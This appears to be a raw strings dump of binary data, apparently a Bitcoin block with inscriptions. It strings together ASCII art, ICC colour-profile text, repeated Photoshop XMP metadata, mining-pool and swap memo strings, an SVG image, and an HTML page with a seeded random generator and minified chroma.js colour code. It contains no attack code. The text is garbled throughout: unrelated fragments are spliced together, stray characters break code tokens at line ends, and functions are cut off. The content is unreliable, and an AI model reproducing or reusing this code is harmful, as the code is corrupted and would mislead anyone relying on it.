..X/.../\..X\..X/.../\...\...X...X....\...\.../.../\...\...X...X
..X/.....X/.....X/.....XX.....XX.....XX.....XX.....XX.....XX....
/\XX/\...........XX/\.X/\...........X//\../\...........X//\...\.
.\\X//XX/..................../..//.//../.....................\\/
..\.X......\/......\X/.....\.X...../\/......\X/.....\XX...../\X.
...\X..\X..../...\X......../..../..../.../....\X.../X...\X..\X..
X..\......X..\...X../..\...X..\..\/..X..\.../..X..\X../..X..\X..
.../../.\..X..../..X.........\../.\..X..X./..X....X....\../..../
././.\..........X.X.\.....\....X.X./.\.X./.\......X./.X./.\.....
.../.X....\.X./..\.../....../.X....../...X../.\.X....\./....../.
X../..\.....\.X../...../..../...../../...../.X../..\../..\.X....
\../...\../...X.../...\.../..X.../..X....\../.../..XX...\..X...\
..X/....X\..../\...//...XX.....\\...//...X/....X\..../\...//...X
X.XX........XX//........//\\........\\........XX........XX//....
\\\XX//////\\.XX///\/\\\..X//\\\\\\...//\\\.\...../\\........\\\
.\\\XX.......\\XXX.......\\XXX.......\\XX........\\XX.......\\\X
..\\...../....\\...\\X..../....\\...../....\\...\\X..../....\\X.
...\X.\X...X.../../...\......./.../../...\X...X../.../...\X.\X..
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:745977F5AA1E11EDBF6DD37EB1956FEC" xmpMM:InstanceID="xmp.iid:745977F4AA1E11EDBF6DD37EB1956FEC" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
((((((((((((((((((((((((((((((((((((((((((((((((((
c/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
t have the time to try to convince you, sorry.
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0055/4096 0,2,2,2,1 ~0.09452011273242533-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#52F6A8" points="0,8 2,2 3,2 0,0 "/>
<polyline fill="#F652A0" points="8,0 5,5 5,5 8,8 "/>
<polyline fill="#F652A0" points="8,8 2,7 2,7 0,8 "/>
<polyline fill="#F652A0" points="0,0 1,7 4,6 8,0 "/>
6j4ion:6.QmYhibGSw9piPBG63p7nZfanXM85E5UBKJhAKqKp8XuUR3
FjDOUT:10E2F4215200458782E433194B40D15F43DDD8C6CB7C57F75C42DA8A16553771
FjDOUT:139C116C282C7A88CA0CFA0D01EFC79AA0F7D78B65F8C9DE24261B912DD96B49
JjH=:BNB.BUSD-BD1:bnb19jjjzdyl7a7wh3uwvayc5tt3d94y5j6v0au9nv:48623243448::0
1j/Balance due for Bitmain S19 XP 134 Sutton #1199
SjLP=:ETH.ETH:0x592257E06c2E90679B9630AF10Cdd656932f2afB::t:15:f2:d0F:18070589687011,a
4j2DC-L5:87lJhghYvm6MUSfGdKEDQO/yUQQURMsISUtSo651VY4=
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
